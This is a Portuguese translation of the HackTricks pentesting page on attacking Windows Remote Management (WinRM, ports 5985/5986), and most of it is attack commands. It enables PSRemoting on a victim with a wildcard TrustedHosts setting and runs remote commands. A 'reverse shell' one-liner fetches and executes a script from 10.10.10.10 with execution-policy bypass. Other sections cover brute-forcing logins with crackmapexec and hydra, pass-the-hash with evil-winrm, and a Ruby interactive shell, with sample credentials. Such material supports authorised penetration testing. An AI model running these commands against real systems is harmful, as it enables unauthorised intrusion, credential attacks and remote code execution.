hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

15 KiB
Raw Blame History

5985,5986 - Testando WinRM

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!

Percepções de Hacking
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real

Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

WinRM

Windows Remote Management (WinRM) é um protocolo da Microsoft que permite a gestão remota de máquinas Windows via HTTP(S) usando SOAP. Nos bastidores, ele utiliza o WMI, então você pode pensar nele como uma API baseada em HTTP para o WMI.

Se o WinRM estiver habilitado na máquina, é trivial administrar remotamente a máquina a partir do PowerShell. Na verdade, você pode simplesmente entrar em uma sessão remota do PowerShell na máquina (como se estivesse usando SSH!)

A maneira mais fácil de detectar se o WinRM está disponível é verificando se a porta está aberta. O WinRM escutará em uma das duas portas:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Se uma dessas portas estiver aberta, o WinRM está configurado e você pode tentar entrar em uma sessão remota.

Iniciando uma Sessão WinRM.

Podemos configurar o PowerShell para funcionar com o WinRM. De acordo com a documentação da Microsoft, Enable-PSRemoting é um cmdlet que configura o computador para receber comandos remotos do PowerShell. Se tivermos acesso a um prompt do PowerShell elevado na vítima, podemos habilitá-lo e adicionar qualquer "atacante" como hosts confiáveis. Podemos executar os seguintes dois comandos:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Isso adiciona um caractere curinga à configuração trustedhosts. Esteja atento ao que isso implica. Nota: Também tive que alterar o tipo de rede na minha máquina de ataque de "Pública" para rede "de Trabalho".

Você também pode ativar o WinRM remotamente **_usando _wmic:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Testar se está configurado

Uma vez que a máquina de ataque está configurada, use a função Test-WSMan para testar se o alvo está configurado para WinRM. Você deverá ver algumas informações retornadas sobre a versão do protocolo e wsmid:

Neste caso, o primeiro está configurado e o segundo não está.

Executar um comando

Agora podemos usar o Invoke-Command do PowerShell para executar remotamente um comando no alvo via WinRM. Para executar remotamente o ipconfig e ver a saída:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Você também pode executar um comando do seu console PS atual via Invoke-Command. Suponha que você tenha localmente uma função chamada enumeration e queira executá-la em um computador remoto, você pode fazer:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Executar um Script

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Obter shell reverso

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Obter uma sessão PS

Ou, se desejar entrar diretamente em uma sessão interativa do PowerShell, use a função Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

A sessão será executada em um novo processo (wsmprovhost) dentro do "alvo"

Forçando a Abertura do WinRM

Se você realmente deseja usar a Remoção PS e o WinRM, mas o alvo não está configurado para isso, você pode "forçá-lo" através de um único comando. Eu não recomendaria isso, mas se você realmente quiser usar o WinRM ou PSRemoting, então faça dessa maneira. Por exemplo, usando o PSExec:

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Agora podemos entrar em uma sessão remota do PS na vítima.

Salvando e Restaurando sessões

Isso não funcionará se o idioma estiver restrito no computador remoto.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Dentro destas sessões você pode carregar scripts do PS usando Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Erros

Se encontrar o seguinte erro:

enter-pssession : A conexão com o servidor remoto 10.10.10.175 falhou com a seguinte mensagem de erro: O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente do Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração de TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não ser autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para obter mais informações, consulte o tópico de Ajuda sobre Solução de Problemas Remotos.

A tentativa no cliente (informações de aqui):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Conexão WinRM no Linux

Força Bruta

Tenha cuidado, forçar a entrada no WinRM pode bloquear usuários.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Usando evil-winrm

gem install evil-winrm

Leia a documentação em seu github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Para usar o evil-winrm para se conectar a um endereço IPv6, crie uma entrada dentro de /etc/hosts configurando um nome de domínio para o endereço IPv6 e conecte-se a esse domínio.

Passando o hash com evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Usando uma máquina PS-docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Usando um script ruby

Código extraído daqui: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Referências

Comandos Automáticos do HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Percepções de Hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking

Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real

Últimos Anúncios
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: